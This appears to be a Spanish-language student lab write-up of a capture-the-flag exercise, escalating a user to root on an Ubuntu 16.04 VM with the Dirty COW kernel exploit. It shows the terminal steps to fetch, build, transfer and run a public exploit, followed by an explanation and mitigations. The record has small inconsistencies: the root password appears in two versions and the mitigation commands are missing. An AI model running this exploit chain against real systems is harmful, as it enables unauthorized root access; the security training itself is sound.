



---

# ESCALAMIENTO DE PRIVILEGIOS USANDO EL KERNEL EXPLOIT DIRTY COW

---

Proyecto de Red Team - Ciberseguridad



27 DE DICIEMBRE DE 2025  
4GEEKS ACADEMY

## ESCALAMIENTO DE PRIVILEGIOS USANDO EL KERNEL EXPLOIT DIRTY COW

Resumen Ejecutivo	2
Información del Sistema Objetivo	2
Metodología	3
Fase 1: Reconocimiento	4
Fase 2: Preparación del Exploit	4
Fase 3: Transferencia y Ejecución	8
Fase 4: Escalación de Privilegios	8
Resultados y Evidencias	9
Análisis de la Vulnerabilidad	10
Conclusiones y Recomendaciones	11
Referencias	12

# Resumen Ejecutivo

## Objetivo del Proyecto

Este proyecto tiene como objetivo demostrar la explotación de la vulnerabilidad CVE-2016-5195, conocida como "Dirty Cow", para escalar privilegios de un usuario limitado a root en un sistema Ubuntu Server 16.04.1. El ejercicio simula un escenario realista de auditoría de seguridad avanzada y técnicas de Red Team.

## Alcance

Tipo de Pentesting: Escalación de privilegios local

Sistema Objetivo: Ubuntu Server 16.04.1 con kernel vulnerable

Usuario Inicial: student (sin privilegios administrativos)

Objetivo Final: Obtener acceso como root y capturar la flag ubicada en /root/flag.txt

## Resultado

Escalación exitosa de privilegios de student a root

Flag capturada: 4GEEKS{Y0u\_G0t\_R00t}

Método: Explotación de condición de carrera en el kernel Linux

## Información del Sistema Objetivo

### Datos del Entorno

Parámetro	Valor
Sistema Operativo	Ubuntu Server 16.04.1
Versión del Kernel	4.4.0-31-generic
Arquitectura	x86_64
Dirección IP	192.168.1.153
Usuario Inicial	student

Parámetro	Valor
Contraseña	password123
Vulnerabilidad	CVE-2016-5195 (Dirty Cow)

## Herramientas Utilizadas

Herramienta	Versión	Propósito
Kali Linux	2025.x	Máquina atacante
Docker	Latest	Contenedor para compilación
Ubuntu 16.04	Docker Image	Entorno de compilación
g++	5.4.0	Compilador C++
SSH/SCP	OpenSSH	Conexión y transferencia
Exploit Dirty Cow	Exploit-DB 40847	Exploit principal

## Metodología

### Fases del Proyecto

Este proyecto sigue la metodología estándar de pentesting con enfoque en post-exploitación:

1. Reconocimiento: Identificación del sistema vulnerable
2. Preparación: Compilación del exploit en entorno compatible
3. Transferencia: Envío del exploit a la víctima
4. Explotación: Ejecución del exploit
5. Escalación: Obtención de privilegios root
6. Post-exploitación: Captura de evidencias (flag)

## Estándares Aplicados

- OWASP Testing Guide: Metodología de pruebas de seguridad
- PTES (Penetration Testing Execution Standard): Estándar de ejecución
- Documentación ética: Registro exhaustivo de cada paso

## Fase 1: Reconocimiento

### Conexión SSH al Sistema Objetivo

```
(kali㉿kali)-[~]
$ ssh student@192.168.1.153
The authenticity of host '192.168.1.153 (192.168.1.153)' can't be established.
ED25519 key fingerprint is SHA256:gxBdzCya8lPBSzGJYF0igtwELgqYTqFEInACA3KRLRQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.1.153' (ED25519) to the list of known hosts.
student@192.168.1.153's password:
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-31-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

271 packages can be updated.
183 updates are security updates.

New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sat Dec 27 08:49:26 2025
student@ubuntu:~$
```

### Verificación de la Versión del Kernel

```
student@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
```

### Verificación de Privilegios Iniciales

```
student@ubuntu:~$ whoami
student
student@ubuntu:~$ id
uid=1000(student) gid=1000(student) groups=1000(student),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
student@ubuntu:~$ sudo -l
[sudo] password for student:
Sorry, user student may not run sudo on ubuntu.
```

### Verificación de Acceso a /root (Debe Fallar)

```
student@ubuntu:~$ ls -la /root/
ls: cannot open directory '/root/': Permission denied
```

## Fase 2: Preparación del Exploit

### Instalación de Docker en Kali Linux

Justificación: La máquina víctima no tiene compilador instalado ni permisos para instalarlo. Se utiliza Docker para crear un entorno de compilación compatible con Ubuntu 16.04.

## ESCALAMIENTO DE PRIVILEGIOS USANDO EL KERNEL EXPLOIT DIRTY COW

```
(kali㉿kali)-[~]
└─$ sudo systemctl status docker
● docker.service - Docker Application Container Engine
   Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; preset: enabled)
   Active: active (running) since Sat 2025-12-27 15:11:41 CET; 1min 4s ago
     Invocation: 3456f26d94f04899a240085c02db4e6c
TriggeredBy: ● docker.socket
   Docs: https://docs.docker.com
 Main PID: 72457 (dockerd)
   Tasks: 11
  Memory: 26M (peak: 28M)
    CPU: 1.555s
   CGroup: /system.slice/docker.service
           └─72457 /usr/sbin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock

dic 27 15:11:39 kali systemd[1]: Starting docker.service - Docker Application Container Engine ...
dic 27 15:11:39 kali (dockerd)[72457]: docker.service: Referenced but unset environment variable evaluates to
dic 27 15:11:39 kali dockerd[72457]: time="2025-12-27T15:11:39.433671242+01:00" level=info msg="Starting up"
dic 27 15:11:39 kali dockerd[72457]: time="2025-12-27T15:11:39.437010313+01:00" level=info msg="OTEL tracing >
dic 27 15:11:39 kali dockerd[72457]: time="2025-12-27T15:11:39.912773955+01:00" level=info msg="Loading conta>
dic 27 15:11:41 kali dockerd[72457]: time="2025-12-27T15:11:41.431158009+01:00" level=info msg="Loading conta>
dic 27 15:11:41 kali dockerd[72457]: time="2025-12-27T15:11:41.534668802+01:00" level=info msg="Docker daemon>
dic 27 15:11:41 kali dockerd[72457]: time="2025-12-27T15:11:41.535084964+01:00" level=info msg="Daemon has co>
dic 27 15:11:41 kali dockerd[72457]: time="2025-12-27T15:11:41.628027242+01:00" level=info msg="API listen on >
dic 27 15:11:41 kali systemd[1]: Started docker.service - Docker Application Container Engine.
Lines 1-23/23 (END).
```

## Creación del Contenedor Ubuntu 16.04

```
(kali㉿kali)-[~]
└─$ sudo docker run -it --name compile-ubuntu16 ubuntu:16.04
root@3d578124feaf:/# cat /etc/os-release
NAME="Ubuntu"
VERSION="16.04.7 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.7 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
root@3d578124feaf:/# █
```

## Instalación de Herramientas de Compilación

```
root@813dd9c24897:/# g++ --version
g++ (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

root@813dd9c24897:/# wget --version
GNU Wget 1.17.1 built on linux-gnu.

+digest +gpgme +https +ipv6 +iri +large-file -metalink +nls +ntlm
+opie -psl +ssl/openssl

Wgetrc:
  /etc/wgetrc (system)
Locale:
  /usr/share/locale
Compile:
  gcc -DHAVE_CONFIG_H -DSYSTEM_WGETRC="/etc/wgetrc"
  -DLOCALEDIR="/usr/share/locale" -I. -I../../src -I../lib
  -I../../lib -Wdate-time -D_FORTIFY_SOURCE=2 -I/usr/include
  -DHAVE_LIBSSL -DNDEBUG -g -O2 -fPIE -fstack-protector-strong
  -Wformat -Werror=format-security -DNO_SSLv2 -D_FILE_OFFSET_BITS=64
  -g -Wall
Link:
  gcc -DHAVE_LIBSSL -DNDEBUG -g -O2 -fPIE -fstack-protector-strong
  -Wformat -Werror=format-security -DNO_SSLv2 -D_FILE_OFFSET_BITS=64
  -g -Wall -Wl,-Bsymbolic-functions -fPIE -pie -Wl,-z,relro
  -Wl,-z,now -L/usr/lib -lpcre -luuid -lssl -lcrypto -lz -lidn
  ftp-opie.o openssl.o http-ntlm.o ../../lib/libgnu.a

Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<http://www.gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Originally written by Hrvoje Niksic <hniksic@xemacs.org>.
Please send bug reports and questions to <bug-wget@gnu.org>.
root@813dd9c24897:/# █
```

## Descarga del Exploit Dirty Cow

```
root@813dd9c24897:/# wget https://www.exploit-db.com/raw/40847 -O dirty.cpp
--2025-12-27 14:42:48-- https://www.exploit-db.com/raw/40847
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response ... 200 OK
Length: unspecified [text/plain]
Saving to: 'dirty.cpp'

dirty.cpp [ ⇄ ] 10.28K --.-KB/s in 0.08s

2025-12-27 14:42:48 (136 KB/s) - 'dirty.cpp' saved [10531]
```

## ESCALAMIENTO DE PRIVILEGIOS USANDO EL KERNEL EXPLOIT DIRTY COW

## Verificación del Archivo Fuente

```
root@813dd9c24897:/# ls -lh dirty.cpp
-rw-r--r-- 1 root root 11K Dec 27 14:42 dirty.cpp
root@813dd9c24897:/# file dirty.cpp
bash: file: command not found
root@813dd9c24897:/# head -20 dirty.cpp
// EDB-Note: Compile: g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run: ./dcow -s (Will automatically do "echo 0 > /proc/sys/vm/dirty_writeback_centisecs")
//
// _____
// Copyright (c) 2016 Gabriele Bonacini
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software Foundation,
// Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
// _____
#include <iostream>
root@813dd9c24897:/#
```

## Compilación del Exploit

```
root@813dd9c24897:/# ls -lh dirty
-rwxr-xr-x 1 root root 46K Dec 27 14:46 dirty
root@813dd9c24897:/# chmod +x dirty
root@813dd9c24897:/# ls -lh dirty
-rwxr-xr-x 1 root root 46K Dec 27 14:46 dirty
root@813dd9c24897:/#
```

## Extracción del Binario a Kali

```
[kali㉿kali)-[~]
└$ sudo docker cp compile-ubuntu16:/dirty ./dirty
[sudo] contraseña para kali:
Successfully copied 48.6kB to /home/kali/dirty

[kali㉿kali)-[~]
└$ ls -lh dirty
-rwxr-xr-x 1 root root 46K dic 27 15:46 dirty

[kali㉿kali)-[~]
└$ chmod +x dirty
chmod: cambiando los permisos de 'dirty': Operación no permitida

[kali㉿kali)-[~]
└$ ls -lh dirty
-rwxr-xr-x 1 root root 46K dic 27 15:46 dirty

[kali㉿kali)-[~]
└$
```

## Fase 3: Transferencia y Ejecución

### Transferencia del Exploit a la Víctima

```
(kali㉿kali)-[~]
$ scp dirty student@192.168.1.153:/home/student/
student@192.168.1.153's password:
dirty                                         100%   46KB  5.6MB/s  00:00
```

### Verificación del Archivo en la Víctima

```
student@ubuntu:~$ ls -lh /home/student/dirty
-rwxr-xr-x 1 student student 46K Dec 27 12:25 /home/student/dirty
student@ubuntu:~$ chmod +x dirty
student@ubuntu:~$ ls -lh dirty
-rwxr-xr-x 1 student student 46K Dec 27 12:25 dirty
student@ubuntu:~$
```

### Ejecución del Exploit Dirty Cow

#### Análisis del funcionamiento:

El exploit aprovecha una condición de carrera (race condition) en el subsistema de memoria del kernel Linux, específicamente en la función de Copy-on-Write (COW), para modificar archivos de solo lectura como /etc/passwd. Esto permite crear o modificar un usuario con UID 0 (root).

```
student@ubuntu:~$ ./dirty
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
```

## Fase 4: Escalación de Privilegios

### Escalación a Root

```
student@ubuntu:~$ su root
Password:
root@ubuntu:/home/student#
```

### Verificación de Privilegios Root

```
root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/student# pwd
/home/student
```

## Captura de la Flag

```
root@ubuntu:/home/student# cd /root
root@ubuntu:~# ls -la
total 24
drwx——— 2 root root 4096 Dec 27 12:27 .
drwxr-xr-x 23 root root 4096 May 16 2025 ..
-rw——— 1 root root 53 Dec 27 12:27 .bash_history
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
-rw-r--r-- 1 root root 21 May 16 2025 flag.txt
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
root@ubuntu:~# cat flag.txt
4GEEKS{Y0u_G0t_R00t}
```

## Resultados y Evidencias

### Resumen de Resultados

Métrica	Valor
Tiempo total del ataque	~30 minutos
Método de escalación	Explotación de CVE-2016-5195
Usuario inicial	student (UID 1000)
Usuario final	root (UID 0)
Flag capturada	<input checked="" type="checkbox"/> 4GEEKS{Y0u_G0t_R00t}
Contraseña root generada	dirtyCowFunEnjoy!

### Línea de Tiempo del Ataque

1. Reconocimiento (5 min): Identificación del kernel vulnerable
2. Preparación (15 min): Configuración de Docker y compilación del exploit
3. Transferencia (2 min): Envío del exploit vía SCP
4. Explotación (3 min): Ejecución del exploit y modificación de /etc/passwd
5. Post-explotación (5 min): Escalación a root y captura de flag

## Archivos Modificados

Archivo	Acción	Backup
/etc/passwd	Modificado por el exploit	/tmp/passwd.bak
Contenido original	Respaldado automáticamente	Recuperable

## Análisis de la Vulnerabilidad

### CVE-2016-5195: Dirty Cow

Información Técnica:

Campo	Detalle
<b>CVE</b>	<b>CVE-2016-5195</b>
<b>Nombre</b>	<b>Dirty COW (Copy-On-Write)</b>
<b>Tipo</b>	<b>Race Condition / Privilege Escalation</b>
<b>CVSSv3 Score</b>	<b>7.8 (HIGH)</b>
<b>Fecha de descubrimiento</b>	<b>Octubre 2016</b>
<b>Sistemas afectados</b>	<b>Linux Kernel 2.6.22 - 4.8.3</b>

## ¿Cómo Funciona Dirty Cow?

Descripción Técnica:

Dirty Cow explota una condición de carrera (race condition) en el mecanismo de Copy-on-Write (COW) del kernel Linux. Específicamente:

1. **Copy-on-Write:** Mecanismo que permite a múltiples procesos compartir la misma página de memoria hasta que uno intente escribir en ella.
2. **La Vulnerabilidad:** Existe una ventana temporal entre:
  - a. El momento en que el kernel verifica los permisos
  - b. El momento en que se realiza la escritura
3. **La Explotación:** El exploit ejecuta dos hilos (threads) simultáneos:

## ESCALAMIENTO DE PRIVILEGIOS USANDO EL KERNEL EXPLOIT DIRTY COW

- a. Hilo 1 (madvise): Indica al kernel que descarte el mapeo de memoria
- b. Hilo 2 (write): Escribe en /proc/self/mem apuntando al archivo objetivo
4. El Resultado: La condición de carrera permite escribir en archivos de solo lectura como /etc/passwd.

# Conclusiones y Recomendaciones

## Conclusiones del Ejercicio

### Éxitos Logrados:

- Identificación exitosa del kernel vulnerable
- Compilación correcta del exploit en entorno compatible
- Transferencia segura del binario a la víctima
- Explotación exitosa de la vulnerabilidad CVE-2016-5195
- Escalación completa de privilegios a root
- Captura de evidencias (flag y capturas de pantalla)

### Aprendizajes Clave:

1. Importancia de mantener sistemas actualizados: Un kernel desactualizado permite escalación de privilegios directa
2. Compilación cruzada: La necesidad de compilar en entornos compatibles con la víctima
3. Condiciones de carrera: Comprensión de vulnerabilidades basadas en timing
4. Post-explotación: Técnicas para mantener y documentar el acceso obtenido
5. Metodología sistemática: Importancia de documentar cada paso del proceso

## Recomendaciones de Mitigación

### Medidas Inmediatas (Críticas):

Actualizar el kernel:

Verificar versión del kernel:

Revisar archivo /etc/passwd:

### Medidas a Medio Plazo:

1. Implementar gestión de parches:
  - Establecer política de actualización mensual
  - Suscribirse a alertas de seguridad de Ubuntu/Debian
  - Automatizar updates de seguridad con unattended-upgrades
2. Monitoreo y detección:
  - Implementar IDS/IPS (Intrusion Detection/Prevention System)
  - Configurar alertas para modificaciones en /etc/passwd
  - Revisar logs regularmente: /var/log/auth.log, /var/log/syslog

## ESCALAMIENTO DE PRIVILEGIOS USANDO EL KERNEL EXPLOIT DIRTY COW

3. Hardening del sistema:
  - o Aplicar principio de mínimo privilegio
  - o Deshabilitar usuarios innecesarios
  - o Implementar SELinux o AppArmor
  - o Configurar auditoría con auditd

**Medidas a Largo Plazo:**

1. Política de seguridad:
  - a. Establecer política de gestión de vulnerabilidades
  - b. Realizar pentesting periódico (semestral/anual)
  - c. Capacitación en seguridad para administradores
2. Arquitectura de seguridad:
  - a. Implementar segmentación de red
  - b. Principio de defensa en profundidad
  - c. Backup regular de sistemas críticos
3. Auditorías regulares:
  - a. Revisión de configuraciones de seguridad
  - b. Análisis de logs y comportamiento anómalo
  - c. Escaneo de vulnerabilidades con herramientas como Nessus, OpenVAS

## Referencias

### Vulnerabilidad y Exploits

1. CVE-2016-5195 - Dirty Cow - <https://nvd.nist.gov/vuln/detail/CVE-2016-5195>
2. Exploit-DB #40847 - Dirty Cow - <https://www.exploit-db.com/exploits/40847>
3. GitHub - Dirty Cow Official - <https://github.com/dirtycow/dirtycow.github.io>
4. Red Hat Security Advisory - <https://access.redhat.com/security/cve/cve-2016-5195>

### Documentación Técnica

1. Linux Kernel Memory Management - <https://www.kernel.org/doc/html/latest/admin-guide/mm/>
2. Copy-on-Write Mechanism - <https://en.wikipedia.org/wiki/Copy-on-write>
3. Race Conditions in Linux Kernel - [https://www.usenix.org/legacy/events/sec03/tech/full\\_papers/tsyrklevich/tsyrklevi\\_ch\\_html/](https://www.usenix.org/legacy/events/sec03/tech/full_papers/tsyrklevich/tsyrklevi_ch_html/)

### Herramientas Utilizadas

1. Docker Documentation - <https://docs.docker.com/>
2. G++ Compiler Documentation - <https://gcc.gnu.org/onlinedocs/>
3. OpenSSH Manual - <https://www.openssh.com/manual.html>

## Metodologías de Pentesting

1. OWASP Testing Guide - <https://owasp.org/www-project-web-security-testing-guide/>
2. PTES - Penetration Testing Execution Standard - <http://www.pentest-standard.org/>
3. NIST Cybersecurity Framework - <https://www.nist.gov/cyberframework>